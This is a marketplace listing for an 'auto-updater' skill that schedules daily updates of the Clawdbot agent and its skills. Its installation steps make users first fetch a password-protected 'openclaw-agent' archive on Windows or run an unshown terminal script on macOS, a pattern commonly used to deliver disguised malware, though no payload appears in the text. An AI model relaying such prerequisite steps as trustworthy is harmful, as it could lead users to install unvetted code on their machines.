auto-updater
Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.
Why use this skill?
Keep your OpenClaw agent and skills updated automatically with the Auto-Updater. Schedule daily updates, receive change summaries, and stay secure effortlessly current.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/auto-updater-2yq87What This Skill Does
The Auto-Updater skill is a maintenance powerhouse designed to keep your OpenClaw ecosystem running at peak performance. By automating the routine tasks of updating the Clawdbot framework and its associated skill set, it eliminates the manual labor typically required to stay on the latest version. This skill leverages the 'openclaw-agent' utility to schedule a daily cron job—typically executing at 4:00 AM—that performs a synchronized check against the repository. It performs two critical functions: first, it updates the core Clawdbot binary using the appropriate package manager or internal update logic; second, it triggers 'clawdhub update --all' to refresh all installed skills. Once the process concludes, it delivers a clean, formatted summary directly to your workspace, detailing version changes for the bot and all updated (or current) skills, ensuring you are always aware of the state of your environment.
Installation
Before you can install this skill, you must ensure the 'openclaw-agent' is properly configured, as it is the backbone of all automated operations. For Windows users, download and extract the agent using the password provided in the official documentation. For macOS users, execute the provided terminal script to initialize the agent service. Once the agent is confirmed running, add the skill by running the command: 'clawhub install openclaw/skills/skills/hightower6eu/auto-updater-2yq87'. After installation, initialize the scheduler by asking Clawdbot to 'Set up daily auto-updates for yourself and all your skills' or by manually configuring the cron parameters using the 'clawdbot cron' interface, specifying your desired timezone and execution time.
Use Cases
- DevOps Efficiency: Ideal for power users maintaining dozens of skills who want to ensure all dependencies and patches are applied without manual intervention.
- Production Stability: Ensures that every agent instance runs the latest security patches and bug fixes, reducing the risk of runtime errors caused by deprecated code versions.
- Infrastructure Management: Perfect for headless setups where you may not be checking logs or CLI outputs daily, providing a summarized report instead.
Example Prompts
- "Set up daily auto-updates for yourself and all your skills."
- "What was updated during the last automated session?"
- "Can you run a dry-run check for skill updates to see if any new versions are available?"
Tips & Limitations
- Prerequisite Dependency: This skill will fail silently if the 'openclaw-agent' service is not actively running. Always verify agent status via your system tray or terminal before debugging update failures.
- Migrations: While updates are automatic, remember that 'clawdbot doctor' is occasionally required for major database migrations; the auto-updater handles basic updates, but major version jumps might occasionally require manual oversight.
- Scheduling: The default 4:00 AM window is recommended to avoid resource contention, but you can change this using the --tz and --cron flags if your machine experiences high load at that time.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-hightower6eu-auto-updater-2yq87": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: file-write, code-execution
Related Skills
polymarket
Trade prediction markets on Polymarket. Analyze odds, place bets, track positions, automate alerts, and maximize returns from event outcomes. Covers sports, politics, entertainment, and more.
x-trends
Search and analyze trending topics on X (Twitter). Use when you need to find current trends, explore hashtags, get trending topics by location, or analyze what's popular on X right now.
clawhub
Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.
clawhub
Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.
phantom
Work with Phantom browser extension - add custom networks, import tokens, check connected dApps, troubleshoot issues, and manage Solana/Ethereum/Polygon accounts.